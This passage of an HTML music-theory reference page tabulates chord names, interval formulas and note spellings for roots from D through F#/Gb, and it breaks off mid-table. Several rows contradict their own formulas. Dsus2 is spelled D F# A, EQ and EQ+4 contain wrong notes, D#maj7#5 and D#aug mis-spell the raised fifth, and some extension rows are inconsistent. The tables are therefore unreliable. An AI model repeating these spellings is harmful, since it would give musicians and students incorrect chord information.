                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">D F A C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dmaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">D F# A# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dsus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">D G A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dsus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">D F# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">DQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">D G C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">DQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">D G C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">D G# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">E G B</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="e">E</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Emaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">E G# B D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Emin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">E G B D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">E7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">E G# B D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Em7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">E G A# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">E6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">E G# B C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Em6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">E G B C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Edim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">E G A# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Eaug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">E G# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Emin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">E G B D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Emaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">E G# C D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Esus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">E A B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Esus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">E F# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">EQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">E A A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">EQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">E A B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">E+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">E A# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">F# A C#</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="f">F</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Fmaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">F A C E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fmin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">F G# C D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">F A C D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fm7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">F G# B D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">F A C D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fm6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">F G# C D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fdim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">F G# B D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Faug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">F A C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fmin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">F G# C E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fmaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">F A C# E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fsus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">F A# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Fsus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">F G C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">FQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">F A# D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">FQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">F A# E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">F B E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">G A# D</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="g">G</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Gmaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">G B D F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gmin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">G A# D F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">G B D F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gm7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">G A# C# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">G B D E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gm6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">G A# D E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gdim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">G A# C# E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gaug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">G B D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gmin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">G A# D F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gmaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">G B D# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gsus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">G C D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Gsus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">G A D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">GQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">G C F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">GQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">G C F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">G C# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">A C E</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="a">A</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Amaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">A C# E G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Amin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">A C E G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">A C# E G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Am7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">A C D# G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">A C# E F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Am6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">A C E F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Adim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">A C D# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Aaug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">A C# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Amin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">A C E G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Amaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">A C# F G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Asus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">A D E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Asus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">A B E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">AQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">A D G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">AQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">A D G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">A D# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">B D F#</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="b">B</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Bmaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">B D# F# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bmin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">B D F# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">B7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">B D# F# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bm7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">B D F A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">B6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">B D# F# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bm6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">B D F# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bdim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">B D F G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Baug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">B D# G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bmin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">B D F# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bmaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">B D# G A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bsus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">B E F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Bsus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">B C# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">BQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">B E A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">BQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">B E A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">B+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">B F A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">C# E G#</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="g-ab">G# / Ab</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">G#maj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">G# C D# G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#min7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">G# B D# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">G# C D# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#m7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">G# B D F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">G# C D# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#m6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">G# B D# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#dim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">G# B D F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#aug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">G# C E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#min(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">G# B D# G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#maj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">G# C E G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#sus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">G# C# D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#sus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">G# A# D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#Q</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">G# C# F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#Q+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">G# C# G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">G#+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">G# D G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">A# C# F</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="a-bb">A# / Bb</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">A#maj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">A# D F A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#min7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">A# C# F G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">A# D F G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#m7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">A# C# E G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">A# D F G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#m6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">A# C# F G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#dim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">A# C# E G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#aug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">A# D F#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#min(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">A# C# F A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#maj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">A# D F# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#sus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">A# D# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#sus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">A# C F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#Q</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">A# D# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#Q+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">A# D# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">A#+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">A# E A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">C D# G</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="c-db">C# / Db</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">C#maj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">C# F G# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#min7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">C# E G# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">C# F G# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#m7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">C# E G B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">C# F G# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#m6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">C# E G# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#dim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">C# E G A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#aug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">C# F A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#min(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">C# E G# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#maj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">C# F A C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#sus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">C# F# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#sus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">C# D# G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#Q</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">C# F# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#Q+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">C# F# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C#+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">C# G C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">C# D# F# A#</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="d-eb">D# / Eb</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">D#maj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">D# G A# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#min7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">D# F# A# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">D# G A# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#m7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">D# F# A C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">D# G A# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#m6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">D# F# A# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#dim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">D# F# A C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#aug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">D# G# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#min(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">D# F# A# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#maj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">D# G# A# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#sus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">D# G# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#sus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">D# F A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#Q</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">D# G# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#Q+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">D# G# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D#+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">D# A D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">F G# C</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="f-gb">F# / Gb</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">F#maj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">F# A# C# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#min7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">F# A C# E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">F# A# C# E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#m7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">F# A C E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">F# A# C# D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#m6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">F# A C# D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#dim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">F# A C D#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#aug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">F# A# D</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#min(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">F# A C# F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#maj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">F# A# D F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#sus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">F# B C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#sus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">F# G# C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#Q</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">F# B E</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#Q+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">F# B F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">F#+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
